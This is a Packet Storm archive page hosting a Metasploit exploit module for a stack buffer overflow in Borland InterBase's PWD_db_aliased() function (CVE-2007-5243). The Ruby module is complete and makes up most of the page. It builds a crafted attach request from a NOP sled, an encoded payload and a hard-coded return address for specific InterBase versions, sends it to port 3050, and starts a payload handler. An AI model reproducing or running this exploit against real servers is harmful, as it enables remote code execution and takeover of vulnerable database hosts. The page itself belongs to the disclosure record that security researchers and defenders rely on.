what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Borland InterBase PWD_db_aliased() Buffer Overflow

Borland InterBase PWD_db_aliased() Buffer Overflow
Posted Oct 27, 2009
Authored by Adriano Lima | Site risesecurity.org

This Metasploit module exploits a stack overflow in Borland InterBase by sending a specially crafted attach request.

tags | exploit, overflow
advisories | CVE-2007-5243
SHA-256 | de6fac96fd0b6aa3c602b0926ac2f071a06c826a31b79903cd842f5737f7b63f

Borland InterBase PWD_db_aliased() Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Borland InterBase PWD_db_aliased() Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Borland InterBase
by sending a specially crafted attach request.
},
'Version' => '$Revision$',
'Author' =>
[
'ramon',
'Adriano Lima <adriano@risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38607' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
},
'Targets' =>
[
# 0x0804cbe4 pop esi; pop ebp; ret
[
'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
{ 'Ret' => 0x0804cbe4 }
],
],
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(3050)
],
self.class
)

end

def exploit

connect

# Attach database
op_attach = 19

length = 1152
remainder = length.remainder(4)
padding = 0

if remainder > 0
padding = (4 - remainder)
end

buf = ''

# Operation/packet type
buf << [op_attach].pack('N')

# Id
buf << [0].pack('N')

# Length
buf << [length].pack('N')

# It will return into this nop block
buf << make_nops(length - payload.encoded.length - 4)

# Payload
buf << payload.encoded

# Target
buf << [target.ret].pack('V')

# Padding
buf << "\x00" * padding

# Length
buf << [1024].pack('N')

# Random alpha data
buf << rand_text_alpha(1024)

sock.put(buf)

handler

end

end

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close